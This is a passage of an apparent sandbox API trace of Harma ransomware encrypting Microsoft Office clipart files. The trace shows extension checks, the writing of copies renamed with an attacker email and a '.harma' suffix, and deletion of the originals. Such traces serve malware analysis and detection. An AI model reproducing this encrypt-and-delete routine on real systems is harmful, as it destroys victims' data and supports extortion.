Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0154.926] GetLastError () returned 0x0 [0154.927] ReadFile (in: hFile=0x374, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x43fe, lpOverlapped=0x0) returned 1 [0154.951] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4400, lpOverlapped=0x0) returned 1 [0154.952] ReadFile (in: hFile=0x374, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.952] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.952] SetEndOfFile (hFile=0x37c) returned 1 [0154.952] CloseHandle (hObject=0x37c) returned 1 [0154.952] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.952] SetEndOfFile (hFile=0x374) returned 1 [0154.957] CloseHandle (hObject=0x374) returned 1 [0154.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0154.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0154.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0154.959] lstrlenW (lpString=".doc") returned 4 [0154.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.959] lstrlenW (lpString=".docx") returned 5 [0154.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.959] lstrlenW (lpString=".pdf") returned 4 [0154.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.959] lstrlenW (lpString=".xls") returned 4 [0154.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.959] lstrlenW (lpString=".xlsx") returned 5 [0154.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.959] lstrlenW (lpString=".ppt") returned 4 [0154.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0154.959] lstrlenW (lpString=".zip") returned 4 [0154.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.959] lstrlenW (lpString=".rar") returned 4 [0154.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.959] lstrlenW (lpString=".bz2") returned 4 [0154.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.959] lstrlenW (lpString=".7z") returned 3 [0154.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0154.959] lstrlenW (lpString=".dbf") returned 4 [0154.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0154.960] lstrlenW (lpString=".1cd") returned 4 [0154.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0154.960] lstrlenW (lpString=".jpg") returned 4 [0154.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0154.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0154.960] lstrlenW (lpString=".doc") returned 4 [0154.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.960] lstrlenW (lpString=".docx") returned 5 [0154.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.960] lstrlenW (lpString=".pdf") returned 4 [0154.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.960] lstrlenW (lpString=".xls") returned 4 [0154.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.960] lstrlenW (lpString=".xlsx") returned 5 [0154.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.960] lstrlenW (lpString=".ppt") returned 4 [0154.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0154.960] lstrlenW (lpString=".zip") returned 4 [0154.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.960] lstrlenW (lpString=".rar") returned 4 [0154.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.960] lstrlenW (lpString=".bz2") returned 4 [0154.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.960] lstrlenW (lpString=".7z") returned 3 [0154.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0154.961] lstrlenW (lpString=".dbf") returned 4 [0154.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0154.961] lstrlenW (lpString=".1cd") returned 4 [0154.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0154.961] lstrlenW (lpString=".jpg") returned 4 [0154.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.961] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.961] lstrlenW (lpString="FD00564_.WMF") returned 12 [0154.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.965] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=896) returned 1 [0154.965] CloseHandle (hObject=0x374) returned 1 [0154.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x20 [0154.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0154.970] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.970] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.971] GetLastError () returned 0x0 [0154.971] ReadFile (in: hFile=0x360, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x380, lpOverlapped=0x0) returned 1 [0154.978] WriteFile (in: hFile=0x364, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x390, lpOverlapped=0x0) returned 1 [0154.979] ReadFile (in: hFile=0x360, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.979] WriteFile (in: hFile=0x364, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.979] SetEndOfFile (hFile=0x364) returned 1 [0154.980] CloseHandle (hObject=0x364) returned 1 [0154.980] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.980] SetEndOfFile (hFile=0x360) returned 1 [0154.982] CloseHandle (hObject=0x360) returned 1 [0154.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0154.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0154.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0154.983] lstrlenW (lpString=".doc") returned 4 [0154.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.983] lstrlenW (lpString=".docx") returned 5 [0154.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.983] lstrlenW (lpString=".pdf") returned 4 [0154.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.983] lstrlenW (lpString=".xls") returned 4 [0154.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.983] lstrlenW (lpString=".xlsx") returned 5 [0154.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.983] lstrlenW (lpString=".ppt") returned 4 [0154.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0154.984] lstrlenW (lpString=".zip") returned 4 [0154.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.984] lstrlenW (lpString=".rar") returned 4 [0154.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.984] lstrlenW (lpString=".bz2") returned 4 [0154.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.984] lstrlenW (lpString=".7z") returned 3 [0154.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0154.984] lstrlenW (lpString=".dbf") returned 4 [0154.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0154.984] lstrlenW (lpString=".1cd") returned 4 [0154.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0154.984] lstrlenW (lpString=".jpg") returned 4 [0154.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0154.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0154.984] lstrlenW (lpString=".doc") returned 4 [0154.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.984] lstrlenW (lpString=".docx") returned 5 [0154.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.984] lstrlenW (lpString=".pdf") returned 4 [0154.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.984] lstrlenW (lpString=".xls") returned 4 [0154.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.984] lstrlenW (lpString=".xlsx") returned 5 [0154.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.985] lstrlenW (lpString=".ppt") returned 4 [0154.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0154.985] lstrlenW (lpString=".zip") returned 4 [0154.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.985] lstrlenW (lpString=".rar") returned 4 [0154.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.985] lstrlenW (lpString=".bz2") returned 4 [0154.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.985] lstrlenW (lpString=".7z") returned 3 [0154.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0154.985] lstrlenW (lpString=".dbf") returned 4 [0154.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0154.985] lstrlenW (lpString=".1cd") returned 4 [0154.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 63 [0154.985] lstrlenW (lpString=".jpg") returned 4 [0154.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.986] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.986] lstrlenW (lpString="FD00775_.WMF") returned 12 [0154.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0154.986] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=11152) returned 1 [0154.986] CloseHandle (hObject=0x360) returned 1 [0154.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x20 [0154.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0154.987] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.987] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.988] GetLastError () returned 0x0 [0154.988] ReadFile (in: hFile=0x360, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x2b90, lpOverlapped=0x0) returned 1 [0154.990] WriteFile (in: hFile=0x364, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2ba0, lpOverlapped=0x0) returned 1 [0154.993] ReadFile (in: hFile=0x360, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.993] WriteFile (in: hFile=0x364, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.993] SetEndOfFile (hFile=0x364) returned 1 [0154.993] CloseHandle (hObject=0x364) returned 1 [0154.993] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.993] SetEndOfFile (hFile=0x360) returned 1 [0154.996] CloseHandle (hObject=0x360) returned 1 [0154.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0154.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0154.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0154.997] lstrlenW (lpString=".doc") returned 4 [0154.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.997] lstrlenW (lpString=".docx") returned 5 [0154.997] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.998] lstrlenW (lpString=".pdf") returned 4 [0154.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.998] lstrlenW (lpString=".xls") returned 4 [0154.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.998] lstrlenW (lpString=".xlsx") returned 5 [0154.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.998] lstrlenW (lpString=".ppt") returned 4 [0154.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0154.998] lstrlenW (lpString=".zip") returned 4 [0154.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.998] lstrlenW (lpString=".rar") returned 4 [0154.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.998] lstrlenW (lpString=".bz2") returned 4 [0154.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.998] lstrlenW (lpString=".7z") returned 3 [0154.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0154.998] lstrlenW (lpString=".dbf") returned 4 [0154.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0154.998] lstrlenW (lpString=".1cd") returned 4 [0154.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0154.998] lstrlenW (lpString=".jpg") returned 4 [0154.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0154.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0154.998] lstrlenW (lpString=".doc") returned 4 [0154.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.999] lstrlenW (lpString=".docx") returned 5 [0154.999] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.999] lstrlenW (lpString=".pdf") returned 4 [0154.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.999] lstrlenW (lpString=".xls") returned 4 [0154.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.999] lstrlenW (lpString=".xlsx") returned 5 [0154.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.999] lstrlenW (lpString=".ppt") returned 4 [0154.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0154.999] lstrlenW (lpString=".zip") returned 4 [0154.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.999] lstrlenW (lpString=".rar") returned 4 [0154.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.999] lstrlenW (lpString=".bz2") returned 4 [0154.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.999] lstrlenW (lpString=".7z") returned 3 [0154.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0154.999] lstrlenW (lpString=".dbf") returned 4 [0154.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0154.999] lstrlenW (lpString=".1cd") returned 4 [0154.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 63 [0154.999] lstrlenW (lpString=".jpg") returned 4 [0154.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.000] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0155.000] lstrlenW (lpString="FD00779_.WMF") returned 12 [0155.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0155.531] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=9010) returned 1 [0155.531] CloseHandle (hObject=0x330) returned 1 [0155.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x20 [0155.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0155.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0155.532] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.554] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0155.567] GetLastError () returned 0x0 [0155.567] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x2332, lpOverlapped=0x0) returned 1 [0155.573] WriteFile (in: hFile=0x380, lpBuffer=0x3b00020*, 